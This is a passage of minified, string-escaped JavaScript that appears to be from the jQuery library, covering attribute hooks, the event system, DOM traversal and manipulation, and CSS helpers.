n,r,i=0,o=t&&t.match(w);if(o&&1===e.nodeType)while(n=o[i++])r=x.propFix[n]||n,x.expr.match.bool.test(n)&&(e[r]=!1),e.removeAttribute(n)},attrHooks:{type:{set:function(e,t){if(!x.support.radioValue&&\"radio\"===t&&x.nodeName(e,\"input\")){var n=e.value;return e.setAttribute(\"type\",t),n&&(e.value=n),t}}}},propFix:{\"for\":\"htmlFor\",\"class\":\"className\"},prop:function(e,t,n){var r,i,o,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return o=1!==s||!x.isXMLDoc(e),o&&(t=x.propFix[t]||t,i=x.propHooks[t]),n!==undefined?i&&\"set\"in i&&(r=i.set(e,n,t))!==undefined?r:e[t]=n:i&&\"get\"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){return e.hasAttribute(\"tabindex\")||B.test(e.nodeName)||e.href?e.tabIndex:-1}}}}),M={set:function(e,t,n){return t===!1?x.removeAttr(e,n):e.setAttribute(n,n),n}},x.each(x.expr.match.bool.source.match(/\\w+/g),function(e,t){var n=x.expr.attrHandle[t]||x.find.attr;x.expr.attrHandle[t]=function(e,t,r){var i=x.expr.attrHandle[t],o=r?undefined:(x.expr.attrHandle[t]=undefined)!=n(e,t,r)?t.toLowerCase():null;return x.expr.attrHandle[t]=i,o}}),x.support.optSelected||(x.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null}}),x.each([\"tabIndex\",\"readOnly\",\"maxLength\",\"cellSpacing\",\"cellPadding\",\"rowSpan\",\"colSpan\",\"useMap\",\"frameBorder\",\"contentEditable\"],function(){x.propFix[this.toLowerCase()]=this}),x.each([\"radio\",\"checkbox\"],function(){x.valHooks[this]={set:function(e,t){return x.isArray(t)?e.checked=x.inArray(x(e).val(),t)>=0:undefined}},x.support.checkOn||(x.valHooks[this].get=function(e){return null===e.getAttribute(\"value\")?\"on\":e.value})});var I=/^key/,z=/^(?:mouse|contextmenu)|click/,_=/^(?:focusinfocus|focusoutblur)$/,X=/^([^.]*)(?:\\.(.+)|)$/;function U(){return!0}function Y(){return!1}function V(){try{return o.activeElement}catch(e){}}x.event={global:{},add:function(e,t,n,i,o){var s,a,u,l,c,p,f,h,d,g,m,y=q.get(e);if(y){n.handler&&(s=n,n=s.handler,o=s.selector),n.guid||(n.guid=x.guid++),(l=y.events)||(l=y.events={}),(a=y.handle)||(a=y.handle=function(e){return typeof x===r||e&&x.event.triggered===e.type?undefined:x.event.dispatch.apply(a.elem,arguments)},a.elem=e),t=(t||\"\").match(w)||[\"\"],c=t.length;while(c--)u=X.exec(t[c])||[],d=m=u[1],g=(u[2]||\"\").split(\".\").sort(),d&&(f=x.event.special[d]||{},d=(o?f.delegateType:f.bindType)||d,f=x.event.special[d]||{},p=x.extend({type:d,origType:m,data:i,handler:n,guid:n.guid,selector:o,needsContext:o&&x.expr.match.needsContext.test(o),namespace:g.join(\".\")},s),(h=l[d])||(h=l[d]=[],h.delegateCount=0,f.setup&&f.setup.call(e,i,g,a)!==!1||e.addEventListener&&e.addEventListener(d,a,!1)),f.add&&(f.add.call(e,p),p.handler.guid||(p.handler.guid=n.guid)),o?h.splice(h.delegateCount++,0,p):h.push(p),x.event.global[d]=!0);e=null}},remove:function(e,t,n,r,i){var o,s,a,u,l,c,p,f,h,d,g,m=q.hasData(e)&&q.get(e);if(m&&(u=m.events)){t=(t||\"\").match(w)||[\"\"],l=t.length;while(l--)if(a=X.exec(t[l])||[],h=g=a[1],d=(a[2]||\"\").split(\".\").sort(),h){p=x.event.special[h]||{},h=(r?p.delegateType:p.bindType)||h,f=u[h]||[],a=a[2]&&RegExp(\"(^|\\\\.)\"+d.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"),s=o=f.length;while(o--)c=f[o],!i&&g!==c.origType||n&&n.guid!==c.guid||a&&!a.test(c.namespace)||r&&r!==c.selector&&(\"**\"!==r||!c.selector)||(f.splice(o,1),c.selector&&f.delegateCount--,p.remove&&p.remove.call(e,c));s&&!f.length&&(p.teardown&&p.teardown.call(e,d,m.handle)!==!1||x.removeEvent(e,h,m.handle),delete u[h])}else for(h in u)x.event.remove(e,h+t[l],n,r,!0);x.isEmptyObject(u)&&(delete m.handle,q.remove(e,\"events\"))}},trigger:function(t,n,r,i){var s,a,u,l,c,p,f,h=[r||o],d=y.call(t,\"type\")?t.type:t,g=y.call(t,\"namespace\")?t.namespace.split(\".\"):[];if(a=u=r=r||o,3!==r.nodeType&&8!==r.nodeType&&!_.test(d+x.event.triggered)&&(d.indexOf(\".\")>=0&&(g=d.split(\".\"),d=g.shift(),g.sort()),c=0>d.indexOf(\":\")&&\"on\"+d,t=t[x.expando]?t:new x.Event(d,\"object\"==typeof t&&t),t.isTrigger=i?2:3,t.namespace=g.join(\".\"),t.namespace_re=t.namespace?RegExp(\"(^|\\\\.)\"+g.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,t.result=undefined,t.target||(t.target=r),n=null==n?[t]:x.makeArray(n,[t]),f=x.event.special[d]||{},i||!f.trigger||f.trigger.apply(r,n)!==!1)){if(!i&&!f.noBubble&&!x.isWindow(r)){for(l=f.delegateType||d,_.test(l+d)||(a=a.parentNode);a;a=a.parentNode)h.push(a),u=a;u===(r.ownerDocument||o)&&h.push(u.defaultView||u.parentWindow||e)}s=0;while((a=h[s++])&&!t.isPropagationStopped())t.type=s>1?l:f.bindType||d,p=(q.get(a,\"events\")||{})[t.type]&&q.get(a,\"handle\"),p&&p.apply(a,n),p=c&&a[c],p&&x.acceptData(a)&&p.apply&&p.apply(a,n)===!1&&t.preventDefault();return t.type=d,i||t.isDefaultPrevented()||f._default&&f._default.apply(h.pop(),n)!==!1||!x.acceptData(r)||c&&x.isFunction(r[d])&&!x.isWindow(r)&&(u=r[c],u&&(r[c]=null),x.event.triggered=d,r[d](),x.event.triggered=undefined,u&&(r[c]=u)),t.result}},dispatch:function(e){e=x.event.fix(e);var t,n,r,i,o,s=[],a=d.call(arguments),u=(q.get(this,\"events\")||{})[e.type]||[],l=x.event.special[e.type]||{};if(a[0]=e,e.delegateTarget=this,!l.preDispatch||l.preDispatch.call(this,e)!==!1){s=x.event.handlers.call(this,e,u),t=0;while((i=s[t++])&&!e.isPropagationStopped()){e.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!e.isImmediatePropagationStopped())(!e.namespace_re||e.namespace_re.test(o.namespace))&&(e.handleObj=o,e.data=o.data,r=((x.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,a),r!==undefined&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}return l.postDispatch&&l.postDispatch.call(this,e),e.result}},handlers:function(e,t){var n,r,i,o,s=[],a=t.delegateCount,u=e.target;if(a&&u.nodeType&&(!e.button||\"click\"!==e.type))for(;u!==this;u=u.parentNode||this)if(u.disabled!==!0||\"click\"!==e.type){for(r=[],n=0;a>n;n++)o=t[n],i=o.selector+\" \",r[i]===undefined&&(r[i]=o.needsContext?x(i,this).index(u)>=0:x.find(i,this,null,[u]).length),r[i]&&r.push(o);r.length&&s.push({elem:u,handlers:r})}return t.length>a&&s.push({elem:this,handlers:t.slice(a)}),s},props:\"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),fixHooks:{},keyHooks:{props:\"char charCode key keyCode\".split(\" \"),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:\"button buttons clientX clientY offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),filter:function(e,t){var n,r,i,s=t.button;return null==e.pageX&&null!=t.clientX&&(n=e.target.ownerDocument||o,r=n.documentElement,i=n.body,e.pageX=t.clientX+(r&&r.scrollLeft||i&&i.scrollLeft||0)-(r&&r.clientLeft||i&&i.clientLeft||0),e.pageY=t.clientY+(r&&r.scrollTop||i&&i.scrollTop||0)-(r&&r.clientTop||i&&i.clientTop||0)),e.which||s===undefined||(e.which=1&s?1:2&s?3:4&s?2:0),e}},fix:function(e){if(e[x.expando])return e;var t,n,r,i=e.type,s=e,a=this.fixHooks[i];a||(this.fixHooks[i]=a=z.test(i)?this.mouseHooks:I.test(i)?this.keyHooks:{}),r=a.props?this.props.concat(a.props):this.props,e=new x.Event(s),t=r.length;while(t--)n=r[t],e[n]=s[n];return e.target||(e.target=o),3===e.target.nodeType&&(e.target=e.target.parentNode),a.filter?a.filter(e,s):e},special:{load:{noBubble:!0},focus:{trigger:function(){return this!==V()&&this.focus?(this.focus(),!1):undefined},delegateType:\"focusin\"},blur:{trigger:function(){return this===V()&&this.blur?(this.blur(),!1):undefined},delegateType:\"focusout\"},click:{trigger:function(){return\"checkbox\"===this.type&&this.click&&x.nodeName(this,\"input\")?(this.click(),!1):undefined},_default:function(e){return x.nodeName(e.target,\"a\")}},beforeunload:{postDispatch:function(e){e.result!==undefined&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=x.extend(new x.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?x.event.trigger(i,null,t):x.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},x.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)},x.Event=function(e,t){return this instanceof x.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.getPreventDefault&&e.getPreventDefault()?U:Y):this.type=e,t&&x.extend(this,t),this.timeStamp=e&&e.timeStamp||x.now(),this[x.expando]=!0,undefined):new x.Event(e,t)},x.Event.prototype={isDefaultPrevented:Y,isPropagationStopped:Y,isImmediatePropagationStopped:Y,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=U,e&&e.preventDefault&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=U,e&&e.stopPropagation&&e.stopPropagation()},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=U,this.stopPropagation()}},x.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(e,t){x.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r&&!x.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),x.support.focusinBubbles||x.each({focus:\"focusin\",blur:\"focusout\"},function(e,t){var n=0,r=function(e){x.event.simulate(t,e.target,x.event.fix(e),!0)};x.event.special[t]={setup:function(){0===n++&&o.addEventListener(e,r,!0)},teardown:function(){0===--n&&o.removeEventListener(e,r,!0)}}}),x.fn.extend({on:function(e,t,n,r,i){var o,s;if(\"object\"==typeof e){\"string\"!=typeof t&&(n=n||t,t=undefined);for(s in e)this.on(s,t,n,e[s],i);return this}if(null==n&&null==r?(r=t,n=t=undefined):null==r&&(\"string\"==typeof t?(r=n,n=undefined):(r=n,n=t,t=undefined)),r===!1)r=Y;else if(!r)return this;return 1===i&&(o=r,r=function(e){return x().off(e),o.apply(this,arguments)},r.guid=o.guid||(o.guid=x.guid++)),this.each(function(){x.event.add(this,e,r,n,t)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,x(e.delegateTarget).off(r.namespace?r.origType+\".\"+r.namespace:r.origType,r.selector,r.handler),this;if(\"object\"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return(t===!1||\"function\"==typeof t)&&(n=t,t=undefined),n===!1&&(n=Y),this.each(function(){x.event.remove(this,e,n,t)})},trigger:function(e,t){return this.each(function(){x.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];return n?x.event.trigger(e,t,n,!0):undefined}});var G=/^.[^:#\\[\\.,]*$/,J=/^(?:parents|prev(?:Until|All))/,Q=x.expr.match.needsContext,K={children:!0,contents:!0,next:!0,prev:!0};x.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if(\"string\"!=typeof e)return this.pushStack(x(e).filter(function(){for(t=0;i>t;t++)if(x.contains(r[t],this))return!0}));for(t=0;i>t;t++)x.find(e,r[t],n);return n=this.pushStack(i>1?x.unique(n):n),n.selector=this.selector?this.selector+\" \"+e:e,n},has:function(e){var t=x(e,this),n=t.length;return this.filter(function(){var e=0;for(;n>e;e++)if(x.contains(this,t[e]))return!0})},not:function(e){return this.pushStack(et(this,e||[],!0))},filter:function(e){return this.pushStack(et(this,e||[],!1))},is:function(e){return!!et(this,\"string\"==typeof e&&Q.test(e)?x(e):e||[],!1).length},closest:function(e,t){var n,r=0,i=this.length,o=[],s=Q.test(e)||\"string\"!=typeof e?x(e,t||this.context):0;for(;i>r;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(11>n.nodeType&&(s?s.index(n)>-1:1===n.nodeType&&x.find.matchesSelector(n,e))){n=o.push(n);break}return this.pushStack(o.length>1?x.unique(o):o)},index:function(e){return e?\"string\"==typeof e?g.call(x(e),this[0]):g.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n=\"string\"==typeof e?x(e,t):x.makeArray(e&&e.nodeType?[e]:e),r=x.merge(this.get(),n);return this.pushStack(x.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function Z(e,t){while((e=e[t])&&1!==e.nodeType);return e}x.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return x.dir(e,\"parentNode\")},parentsUntil:function(e,t,n){return x.dir(e,\"parentNode\",n)},next:function(e){return Z(e,\"nextSibling\")},prev:function(e){return Z(e,\"previousSibling\")},nextAll:function(e){return x.dir(e,\"nextSibling\")},prevAll:function(e){return x.dir(e,\"previousSibling\")},nextUntil:function(e,t,n){return x.dir(e,\"nextSibling\",n)},prevUntil:function(e,t,n){return x.dir(e,\"previousSibling\",n)},siblings:function(e){return x.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return x.sibling(e.firstChild)},contents:function(e){return e.contentDocument||x.merge([],e.childNodes)}},function(e,t){x.fn[e]=function(n,r){var i=x.map(this,t,n);return\"Until\"!==e.slice(-5)&&(r=n),r&&\"string\"==typeof r&&(i=x.filter(r,i)),this.length>1&&(K[e]||x.unique(i),J.test(e)&&i.reverse()),this.pushStack(i)}}),x.extend({filter:function(e,t,n){var r=t[0];return n&&(e=\":not(\"+e+\")\"),1===t.length&&1===r.nodeType?x.find.matchesSelector(r,e)?[r]:[]:x.find.matches(e,x.grep(t,function(e){return 1===e.nodeType}))},dir:function(e,t,n){var r=[],i=n!==undefined;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&x(e).is(n))break;r.push(e)}return r},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}});function et(e,t,n){if(x.isFunction(t))return x.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return x.grep(e,function(e){return e===t!==n});if(\"string\"==typeof t){if(G.test(t))return x.filter(t,e,n);t=x.filter(t,e)}return x.grep(e,function(e){return g.call(t,e)>=0!==n})}var tt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/gi,nt=/<([\\w:]+)/,rt=/<|&#?\\w+;/,it=/<(?:script|style|link)/i,ot=/^(?:checkbox|radio)$/i,st=/checked\\s*(?:[^=]|=\\s*.checked.)/i,at=/^$|\\/(?:java|ecma)script/i,ut=/^true\\/(.*)/,lt=/^\\s*<!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)>\\s*$/g,ct={option:[1,\"<select multiple='multiple'>\",\"</select>\"],thead:[1,\"<table>\",\"</table>\"],col:[2,\"<table><colgroup>\",\"</colgroup></table>\"],tr:[2,\"<table><tbody>\",\"</tbody></table>\"],td:[3,\"<table><tbody><tr>\",\"</tr></tbody></table>\"],_default:[0,\"\",\"\"]};ct.optgroup=ct.option,ct.tbody=ct.tfoot=ct.colgroup=ct.caption=ct.thead,ct.th=ct.td,x.fn.extend({text:function(e){return x.access(this,function(e){return e===undefined?x.text(this):this.empty().append((this[0]&&this[0].ownerDocument||o).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=pt(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=pt(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=e?x.filter(e,this):this,i=0;for(;null!=(n=r[i]);i++)t||1!==n.nodeType||x.cleanData(mt(n)),n.parentNode&&(t&&x.contains(n.ownerDocument,n)&&dt(mt(n,\"script\")),n.parentNode.removeChild(n));return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t++)1===e.nodeType&&(x.cleanData(mt(e,!1)),e.textContent=\"\");return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return x.clone(this,e,t)})},html:function(e){return x.access(this,function(e){var t=this[0]||{},n=0,r=this.length;if(e===undefined&&1===t.nodeType)return t.innerHTML;if(\"string\"==typeof e&&!it.test(e)&&!ct[(nt.exec(e)||[\"\",\"\"])[1].toLowerCase()]){e=e.replace(tt,\"<$1></$2>\");try{for(;r>n;n++)t=this[n]||{},1===t.nodeType&&(x.cleanData(mt(t,!1)),t.innerHTML=e);t=0}catch(i){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=x.map(this,function(e){return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var r=e[t++],i=e[t++];i&&(r&&r.parentNode!==i&&(r=this.nextSibling),x(this).remove(),i.insertBefore(n,r))},!0),t?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=f.apply([],e);var r,i,o,s,a,u,l=0,c=this.length,p=this,h=c-1,d=e[0],g=x.isFunction(d);if(g||!(1>=c||\"string\"!=typeof d||x.support.checkClone)&&st.test(d))return this.each(function(r){var i=p.eq(r);g&&(e[0]=d.call(this,r,i.html())),i.domManip(e,t,n)});if(c&&(r=x.buildFragment(e,this[0].ownerDocument,!1,!n&&this),i=r.firstChild,1===r.childNodes.length&&(r=i),i)){for(o=x.map(mt(r,\"script\"),ft),s=o.length;c>l;l++)a=r,l!==h&&(a=x.clone(a,!0,!0),s&&x.merge(o,mt(a,\"script\"))),t.call(this[l],a,l);if(s)for(u=o[o.length-1].ownerDocument,x.map(o,ht),l=0;s>l;l++)a=o[l],at.test(a.type||\"\")&&!q.access(a,\"globalEval\")&&x.contains(u,a)&&(a.src?x._evalUrl(a.src):x.globalEval(a.textContent.replace(lt,\"\")))}return this}}),x.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(e,t){x.fn[e]=function(e){var n,r=[],i=x(e),o=i.length-1,s=0;for(;o>=s;s++)n=s===o?this:this.clone(!0),x(i[s])[t](n),h.apply(r,n.get());return this.pushStack(r)}}),x.extend({clone:function(e,t,n){var r,i,o,s,a=e.cloneNode(!0),u=x.contains(e.ownerDocument,e);if(!(x.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||x.isXMLDoc(e)))for(s=mt(a),o=mt(e),r=0,i=o.length;i>r;r++)yt(o[r],s[r]);if(t)if(n)for(o=o||mt(e),s=s||mt(a),r=0,i=o.length;i>r;r++)gt(o[r],s[r]);else gt(e,a);return s=mt(a,\"script\"),s.length>0&&dt(s,!u&&mt(e,\"script\")),a},buildFragment:function(e,t,n,r){var i,o,s,a,u,l,c=0,p=e.length,f=t.createDocumentFragment(),h=[];for(;p>c;c++)if(i=e[c],i||0===i)if(\"object\"===x.type(i))x.merge(h,i.nodeType?[i]:i);else if(rt.test(i)){o=o||f.appendChild(t.createElement(\"div\")),s=(nt.exec(i)||[\"\",\"\"])[1].toLowerCase(),a=ct[s]||ct._default,o.innerHTML=a[1]+i.replace(tt,\"<$1></$2>\")+a[2],l=a[0];while(l--)o=o.lastChild;x.merge(h,o.childNodes),o=f.firstChild,o.textContent=\"\"}else h.push(t.createTextNode(i));f.textContent=\"\",c=0;while(i=h[c++])if((!r||-1===x.inArray(i,r))&&(u=x.contains(i.ownerDocument,i),o=mt(f.appendChild(i),\"script\"),u&&dt(o),n)){l=0;while(i=o[l++])at.test(i.type||\"\")&&n.push(i)}return f},cleanData:function(e){var t,n,r,i,o,s,a=x.event.special,u=0;for(;(n=e[u])!==undefined;u++){if(F.accepts(n)&&(o=n[q.expando],o&&(t=q.cache[o]))){if(r=Object.keys(t.events||{}),r.length)for(s=0;(i=r[s])!==undefined;s++)a[i]?x.event.remove(n,i):x.removeEvent(n,i,t.handle);q.cache[o]&&delete q.cache[o]}delete L.cache[n[L.expando]]}},_evalUrl:function(e){return x.ajax({url:e,type:\"GET\",dataType:\"script\",async:!1,global:!1,\"throws\":!0})}});function pt(e,t){return x.nodeName(e,\"table\")&&x.nodeName(1===t.nodeType?t:t.firstChild,\"tr\")?e.getElementsByTagName(\"tbody\")[0]||e.appendChild(e.ownerDocument.createElement(\"tbody\")):e}function ft(e){return e.type=(null!==e.getAttribute(\"type\"))+\"/\"+e.type,e}function ht(e){var t=ut.exec(e.type);return t?e.type=t[1]:e.removeAttribute(\"type\"),e}function dt(e,t){var n=e.length,r=0;for(;n>r;r++)q.set(e[r],\"globalEval\",!t||q.get(t[r],\"globalEval\"))}function gt(e,t){var n,r,i,o,s,a,u,l;if(1===t.nodeType){if(q.hasData(e)&&(o=q.access(e),s=q.set(t,o),l=o.events)){delete s.handle,s.events={};for(i in l)for(n=0,r=l[i].length;r>n;n++)x.event.add(t,i,l[i][n])}L.hasData(e)&&(a=L.access(e),u=x.extend({},a),L.set(t,u))}}function mt(e,t){var n=e.getElementsByTagName?e.getElementsByTagName(t||\"*\"):e.querySelectorAll?e.querySelectorAll(t||\"*\"):[];return t===undefined||t&&x.nodeName(e,t)?x.merge([e],n):n}function yt(e,t){var n=t.nodeName.toLowerCase();\"input\"===n&&ot.test(e.type)?t.checked=e.checked:(\"input\"===n||\"textarea\"===n)&&(t.defaultValue=e.defaultValue)}x.fn.extend({wrapAll:function(e){var t;return x.isFunction(e)?this.each(function(t){x(this).wrapAll(e.call(this,t))}):(this[0]&&(t=x(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this)},wrapInner:function(e){return x.isFunction(e)?this.each(function(t){x(this).wrapInner(e.call(this,t))}):this.each(function(){var t=x(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=x.isFunction(e);return this.each(function(n){x(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){x.nodeName(this,\"body\")||x(this).replaceWith(this.childNodes)}).end()}});var vt,xt,bt=/^(none|table(?!-c[ea]).+)/,wt=/^margin/,Tt=RegExp(\"^(\"+b+\")(.*)$\",\"i\"),Ct=RegExp(\"^(\"+b+\")(?!px)[a-z%]+$\",\"i\"),kt=RegExp(\"^([+-])=(\"+b+\")\",\"i\"),Nt={BODY:\"block\"},Et={position:\"absolute\",visibility:\"hidden\",display:\"block\"},St={letterSpacing:0,fontWeight:400},jt=[\"Top\",\"Right\",\"Bottom\",\"Left\"],Dt=[\"Webkit\",\"O\",\"Moz\",\"ms\"];function At(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=Dt.length;while(i--)if(t=Dt[i]+n,t in e)return t;return r}function Lt(e,t){return e=t||e,\"none\"===x.css(e,\"display\")||!x.contains(e.ownerDocument,e)}function qt(t){return e.getComputedStyle(t,null)}function Ht(e,t){var n,r,i,o=[],s=0,a=e.length;for(;a>s;s++)r=e[s],r.style&&(o[s]=q.get(r,\"olddisplay\"),n=r.style.display,t?(o[s]||\"none\"!==n||(r.style.display=\"\"),\"\"===r.style.display&&Lt(r)&&(o[s]=q.access(r,\"olddisplay\",Rt(r.nodeName)))):o[s]||(i=Lt(r),(n&&\"none\"!==n||!i)&&q.set(r,\"olddisplay\",i?n:x.css(r,\"display\"))));for(s=0;a>s;s++)r=e[s],r.style&&(t&&\"none\"!==r.style.display&&\"\"!==r.style.display||(r.style.display=t?o[s]||\"\":\"none\"));return e}x.fn.extend({css:function(e,t){return x.access(this,function(e,t,n){var r,i,o={},s=0;if(x.isArray(t)){for(r=qt(e),i=t.length;i>s;s++)o[t[s]]=x.css(e,t[s],!1,r);return o}return n!==undefined?x.style(e,t,n):x.css(e,t)},e,t,arguments.length>1)},show:function(){return Ht(this,!0)},hide:function(){return Ht(this)},toggle:function(e){return\"boolean\"==typeof e?e?this.show():this.hide():this.each(function(){Lt(this)?x(this).show():x(this).hide()})}}),x.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=vt(e,\"opacity\");return\"\"===n?\"1\":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":\"cssFloat\"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,s,a=x.camelCase(t),u=e.style;return t=x.cssProps[a]||(x.cssProps[a]=At(u,a)),s=x.cssHooks[t]||x.cssHooks[a],n===undefined?s&&\"get\"in s&&(i=s.get(e,!1,r))!==undefined?i:u[t]:(o=typeof n,\"string\"===o&&(i=kt.exec(n))&&(n=(i[1]+1)*i[2]+parseFloat(x.css(e,t)),o=\"number\"),null==n||\"number\"===o&&isNaN(n)||(\"number\"!==o||x.cssNumber[a]||(n+=\"px\"),x.support.clearCloneStyle||\"\"!==n||0!==t.indexOf(\"background\")||(u[t]=\"inherit\"),s&&\"set\"in s&&(n=s.set(e,n,r))===undefined||(u[t]=n)),undefined)}},css:function(e,t,n,r){var i,o,s,a=x.camelCase(t);return t=x.cssProps[a]||(x.cssProps[a]=At(e.style,a)),s=x.cssHooks[t]||x.cssHooks[a],s&&\"get\"in s&&(i=s.get(e,!0,n)),i===undefined&&(i=vt(e,t,r)),\"normal\"===i&&t in St&&(i=St[t]),\"\"===n||n?(o=parseFloat(i),n===!0||x.isNumeric(o)?o||0:i):i}}),vt=function(e,t,n){var r,i,o,s=n||qt(e),a=s?s.getPropertyValue(t)||s[t]:undefined,u=e.style;return s&&(\"\"!==a||x.contains(e.ownerDocument,e)||(a=x.style(e,t)),Ct.test(a)&&wt.test(t)&&(r=u.width,i=u.minWidth,o=u.maxWidth,u.minWidth=u.maxWidth=u.width=a,a=s.width,u.width=r,u.minWidth=i,u.maxWidth=o)),a};function Ot(e,t,n){var r=Tt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||\"px\"):t}function Ft(e,t,n,r,i){var o=n===(r?\"border\":\"content\")?4:\"width\"===t?1:0,s=0;for(;4>o;o+=2)\"margin\"===n&&(s+=x.css(e,n+jt[o],!0,i)),r?(\"content\"===n&&(s-=x.css(e,\"padding\"+jt[o],!0,i)),\"margin\"!==n&&(s-=x.css(e,\"border\"+jt[o]+\"Width\",!0,i))):(s+=x.css(e,\"padding\"+jt[o],!0,i),\"padding\"!==n&&(s+=x.css(e,\"border\"+jt[o]+\"Width\",!0,i)));return s}function Pt(e,t,n){var r=!0,i=\"width\"===t?e.offsetWidth:e.offsetHeight,o=qt(e),s=x.support.boxSizing&&\"border-box\"===x.css(e,\"boxSizing\",!1,o);if(0>=i||null==i){if(i=vt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Ct.test(i))return i;r=s&&(x.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i+Ft(e,t,n||(s?\"border\":\"content\"),r,o)+\"px\"}function Rt(e){var t=o,n=Nt[e];return n||(n=Mt(e,t),\"none\"!==n&&n||(xt=(xt||x(\"<iframe frameborder='0' width='0' height='0'/>\").css(\"cssText\",\"display:block !important\")).appendTo(t.documentElement),t=(xt[0].contentWindow||xt[0].contentDocument).document,t.write(\"<!doctype html><html><body>\"),t.close(),n=Mt(e,t),xt.detach()),Nt[e]=n),n}function Mt(e,t){var n=x(t.createElement(e)).appendTo(t.body),r=x.css(n[0],\"display\");return n.remove(),r}x.each([\"height\",\"width\"],function(e,t){x.cssHooks[t]={get:function(e,n,r){return n?0===e.offsetWidth&&bt.test(x.css(e,\"display\"))?x.swap(e,Et,function(){return Pt(e,t,r)}):Pt(e,t,r):undefined},set:function(e,n,r){var i=r&&qt(e);return Ot(e,n,r?Ft(e,t,r,x.support.boxSizing&&\"border-box\"===x.css(e,\"boxSizing\",!1,i),i):0)}}}),x(function(){x.support.reliableMarginRight||(x.cssHooks.marginRight={get:function(e,t){return t?x.swap(e,{display:\"inline-block\"},vt,[e,\"marginRight\"]):undefined}}),!x.support.pixelPosition&&x.fn.position&&x.each([\"top\",\"left\"],function(e,t){x.cssHooks[t]={get:function(e,n){return n?(n=vt(e,t),Ct.test(n)?x(e).position()[t]+\"px\":n):undefined}}})}),x.expr&&x.expr.filters&&(x.expr.filters.hidden=function(e){return 0>=e.offsetWidth&&0>=e.offsetHeight},x.expr.filters.visible=function(e){return!x.expr.filters.hidden(e)}),x.each({margin:\"\",padding:\"\",border:\"Width\"},function(e,t){x.cssHooks[e+t]={expand:function(n){var r=0,i={},o=\"string\"==typeof n?n.split(\" 